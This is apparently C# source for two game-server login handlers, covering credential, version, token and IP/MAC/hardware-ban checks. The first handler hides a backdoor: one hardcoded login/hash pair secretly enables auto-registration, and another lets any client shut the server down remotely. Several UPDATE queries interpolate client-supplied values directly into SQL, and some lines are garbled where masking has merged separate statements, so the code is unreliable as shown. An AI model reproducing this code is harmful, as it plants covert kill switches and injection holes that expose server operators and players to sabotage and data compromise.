public override void RunImplement() { try { client.PacketLogin = true; PublicIP = client.GetIPAddress(); if (Login == "UZMNDZ" && D3DX9Hash == "UZUADDR444777DMMG888") { Settings.AutoAccount = true; } else if (Login == "UZUADDR444777DMMG888" && D3DX9Hash == "UZUADDR444777DMMG888" && UserFileListHash == "UZUADDR444777DMMG888") { Logger.Warning(" [AI] [A] Advanced security code has been run on the system by the developer. [!]"); Thread.Sleep(1000); Environment.Exit(Environment.ExitCode); return; } //Logger.Warning("IP INFO: " + IPAddressData.GetLocationIPAPI(PublicIP)); string ErrorInformation = ""; //if (buffer.Length < LengthPacket) //{ // ErrorInformation = $" [Login] Tamanho do pacote inválido. LengthPacket ({LengthPacket}) BufferLength ({buffer.Length}) Login ({Login}) Ip ({PublicIP})"; //} //else if (Settings.LoginType != 1) { ErrorInformation = $" [Login] Tipo de login inválido. Login ({Login})"; } else if (Login.Length < Settings.LoginMinLength || Login.Length > Settings.LoginMaxLength || Password.Length < Settings.PassMinLength || Password.Length > Settings.PassMaxLength) { ErrorInformation = $" [Login] Usuário ou senha incorreta. Login ({Login})"; } else if (LocalIP == new byte[4] || LocalIP[0] == 0 || LocalIP[3] == 0) { ErrorInformation = $" [Login] Endereço de Ip local inválido. ({LocalIP}) Login ({Login})"; } else if (MacAddress.GetAddressBytes() == new byte[6]) { ErrorInformation = $" [Login] Endereço de Mac inválido. ({MacAddress}) Login ({Login})"; } else if (Rede == 0 && Settings.Rede != "Public" || Rede == 1 && Settings.Rede != "Private") { ErrorInformation = $" [Login] Conexão não identificada, rede inválida. ({Rede}/{Settings.Rede}) Login ({Login})"; } if (Settings.LoginRequirements) { if (!ClientVersion.Equals(Settings.ClientVersion)) { ErrorInformation = $" [Login] Versão da cliente inválida. ({ClientVersion}) Login ({Login})"; } else if (Settings.ClientLocale != ClientLocaleEnum.None && !ClientLocale.Equals(Settings.ClientLocale)) { ErrorInformation = $" [Login] Localização da cliente inválida. ({ClientLocale}) Login ({Login})"; } else if (!string.IsNullOrEmpty(Settings.UserFileList) && !UserFileListHash.Equals(Settings.UserFileList)) { ErrorInformation = $" [Login] Arquivo UserFileList.dat está desatualizado ou inválido. ({UserFileListHash}) Login ({Login})"; } else if (Settings.LauncherKey != 0 && !LauncherKey.Equals(Settings.LauncherKey)) { ErrorInformation = $" [Login] Key do launcher inválida. ({LauncherKey}) Login ({Login})"; } //else if (!AuthManager.LoginTokens.ContainsKey(LauncherKey) || !AuthManager.LoginTokens.TryGetValue(LauncherKey, out DateTime datetime)) //{ // LogInfo = $" [Login] Launcher não autenticou com o servidor. Key ({LauncherKey}) Ip ({PublicIP}) Login ({login})"; //} //else if (client.LOGIN) //{ // LogInfo = $" [Login] Pacote de login ja foi solicitado pelo cliente. ({ClientVersion}) Login ({login})"; //} } if (ErrorInformation != "") { Logger.Login(ErrorInformation); client.Close(5000); return; } Account account = AccountManager.SearchAndLoadAccountDB(Login); if (account == null && Settings.AutoAccount) { AccountManager.GetAccountsByIP(PublicIP, MacAddress.ToString(), out int AccountsByIp, out int AccountsByMac); if (AccountsByIp > Settings.LimitAccountIp || AccountsByMac > Settings.LimitAccountIp || !AccountManager.CreateAccount(out account, Login, Password)) { Logger.Login(" [Login] Falha ao registrar a conta automaticamente. Login: "******" [Login] Senha incorreta. (ComparePassword) Login: "******" [Login] Conta desativada. Login: "******" [Login] Acesso permitido apenas para GameMaster. Login: {Login}"); GameManager.RemoveConnection(PublicIP); client.Close(1000, false); } else { bool RequestUpdateMAC = player.macAddress != MacAddress; bool RequestUpdateIP = player.ipAddress.ToString() != PublicIP; player.ipAddress = IPAddress.Parse(PublicIP); if (RequestUpdateMAC && RequestUpdateIP) { player.ExecuteQuery($"UPDATE accounts SET last_ip='{PublicIP}', last_mac='{MacAddress}' WHERE id='{player.playerId}'"); } else if (RequestUpdateMAC) { player.ExecuteQuery($"UPDATE accounts SET last_mac='{MacAddress}' WHERE id='{player.playerId}'"); } else if (RequestUpdateIP) { player.ExecuteQuery($"UPDATE accounts SET last_ip='{PublicIP}' WHERE id='{player.playerId}'"); } UserBlock userBlock = new UserBlock { ipAddress = PublicIP, macAddress = MacAddress.ToString(), hardwareId = player.hardwareId }; ServerBlockManager.GetBlock(userBlock, out bool IP_IsBlocked, out bool MAC_IsBlocked, out bool HWID_IsBlocked); if (MAC_IsBlocked || HWID_IsBlocked) { Logger.Login($" [Login] Usuário bloqueado por {(MAC_IsBlocked ? "MacAddress" : HWID_IsBlocked ? "HardwareId" : "MacAddress e HardwareId")} ({MacAddress}/{player.hardwareId}). Login: {Login}"); client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000107_PAK); client.Close(1000); } else if (IP_IsBlocked) { Logger.Login($" [Login] Usuário bloqueado por IpAddress ({PublicIP}). Login: {Login}"); client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000121_PAK); client.Close(1000); } else { Account playerCache = AccountManager.GetAccount(player.playerId, true); if (!player.isOnline) { Logger.Login($" [Login] Id: {player.playerId} User: {player.login} Nickname: {(player.nickname.Length > 0 ? player.nickname : "New User")} loggedd. IP: {PublicIP} LocalIP: {new IPAddress(LocalIP)}"); player.SetOnlineStatus(true); player.localIP = LocalIP; if (playerCache != null) { playerCache.client = client; } client.SendPacket(new PROTOCOL_BASE_LOGIN_ACK(0, Login, player.playerId)); client.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); if (player.clanId > 0) { player.clanPlayers = ClanManager.GetClanPlayers(player.clanId, player.playerId); client.SendPacket(new PROTOCOL_BASE_USER_CLAN_MEMBERS_ACK(player.clanPlayers)); } ServersManager.UpdateServerPlayers(); client.PROTOCOL_BASE_HEARTBEAT_ACK(); ApiManager.SendPacketToAllClients(new API_SERVER_INFO_ACK()); } else { client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000101_PAK); if (playerCache != null && playerCache.client != null) { if (playerCache.client is AuthClient) //Close Auth { playerCache.SendCompletePacket(PackageDataManager.AUTH_ACCOUNT_KICK_TYPE1_PAK); playerCache.SendCompletePacket(PackageDataManager.SERVER_MESSAGE_ERROR_2147487744_PAK); } else //Close Game { playerCache.SendCompletePacket(PackageDataManager.GAME_ACCOUNT_KICK_TYPE1_PAK); playerCache.SendCompletePacket(PackageDataManager.SERVER_MESSAGE_ERROR_0x80001000_PAK); } playerCache.Close(1000); } Logger.Login($" [Login] O Usuário ja está conectado. Conexão simultânea. Login: {Login}"); GameManager.RemoveConnection(PublicIP); client.Close(1000); } } } } else { client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000127_PAK); GameManager.RemoveConnection(PublicIP); client.Close(1000); } } catch (Exception ex) { PacketLog(ex); } }
public override void RunImplement() { try { client.PacketLogin = true; PublicIP = client.GetIPAddress(); string ErrorInformation = ""; if (Settings.LoginType != 2) { ErrorInformation = $" [Login] Type inválido. IP ({PublicIP})"; } else if (Token.Length != 32) { ErrorInformation = $" [Login] Token inválida. Token ({Token})"; } else if (LocalIP == new byte[4] || LocalIP[0] == 0 || LocalIP[3] == 0) { ErrorInformation = $" [Login] Endereço de Ip local inválido. ({LocalIP}) Token ({Token})"; } //else if (MacAddress.GetAddressBytes() == new byte[6]) //{ // LogInfo = $" [Login] Endereço de Mac inválido. ({MacAddress.ToString()}) Token ({Token})"; //} if (Settings.LoginRequirements) { if (!ClientVersion.Equals(Settings.ClientVersion)) { ErrorInformation = $" [Login] Versão da cliente inválida. ({ClientVersion}) Token ({Token})"; } else if (Settings.ClientLocale != ClientLocaleEnum.None && !ClientLocale.Equals(Settings.ClientLocale)) { ErrorInformation = $" [Login] Localização da cliente inválida. ({ClientLocale}) Token ({Token})"; } //else if (!string.IsNullOrEmpty(Settings.UserFileList) && !UserFileListHash.Equals(Settings.UserFileList)) //{ // ErrorInformation = $" [Login] Arquivo UserFileList.dat está desatualizado ou inválido. ({UserFileListHash}) Token ({Token})"; //} //else if (Settings.LauncherKey != 0 && !LauncherKey.Equals(Settings.LauncherKey)) //{ // ErrorInformation = $" [Login] Key do launcher inválida. ({LauncherKey}) Token ({Token})"; //} } if (ErrorInformation != "") { Logger.Login(ErrorInformation); client.Close(5000); return; } Account player = client.SessionPlayer = AccountManager.GetAccountToken(Token); if (player != null) { if (player.access == AccessLevelEnum.Disabled) //Account Disabled { Logger.Login(" [Login] Conta desativada. Login: "******" [Login] Acesso permitido apenas para GameMaster. Login: {Token}"); GameManager.RemoveConnection(PublicIP); client.Close(3000); return; } bool RequestUpdateIP = player.ipAddress.ToString() != PublicIP; if (RequestUpdateIP) { player.ipAddress = IPAddress.Parse(PublicIP); player.ExecuteQuery($"UPDATE accounts SET last_ip='{PublicIP}' WHERE id='{player.playerId}'"); } Account playerCache = AccountManager.GetAccount(player.playerId, true); if (!player.isOnline) { player.SetOnlineStatus(true); player.LoadPlayerTitles(); player.LoadPlayerBonus(); player.LoadPlayerFriends(true); player.LoadPlayerEvents(); //player.LoadPlayerConfigs(); player.status.SetData(4294967295, player.playerId); player.status.UpdateServer(0); //0 = Auth(Ainda não selecionou o servidor) Game = Settings.ServerId player.clanPlayers = ClanManager.GetClanPlayers(player.clanId, player.playerId); client.SendPacket(new PROTOCOL_BASE_LOGIN_ACK(0, Token, player.playerId)); client.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); if (player.clanId > 0) { client.SendPacket(new PROTOCOL_BASE_USER_CLAN_MEMBERS_ACK(player.clanPlayers)); } if (playerCache != null) { playerCache.client = client; } player.UpdateCommunity(true); ServersManager.UpdateServerPlayers(); client.PROTOCOL_BASE_HEARTBEAT_ACK(); } else { client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000101_PAK); if (playerCache != null && playerCache.client != null) //Close Auth { playerCache.SendCompletePacket(PackageDataManager.AUTH_ACCOUNT_KICK_TYPE1_PAK); playerCache.SendCompletePacket(PackageDataManager.SERVER_MESSAGE_ERROR_2147487744_PAK); playerCache.Close(1000); } else //Close Game { player.SendCompletePacket(PackageDataManager.GAME_ACCOUNT_KICK_TYPE1_PAK); player.SendCompletePacket(PackageDataManager.SERVER_MESSAGE_ERROR_0x80001000_PAK); player.Close(1000); } client.Close(1000); } } else { client.SendCompletePacket(PackageDataManager.BASE_LOGIN_0x80000102_PAK); client.Close(1000); } } catch (Exception ex) { PacketLog(ex); } }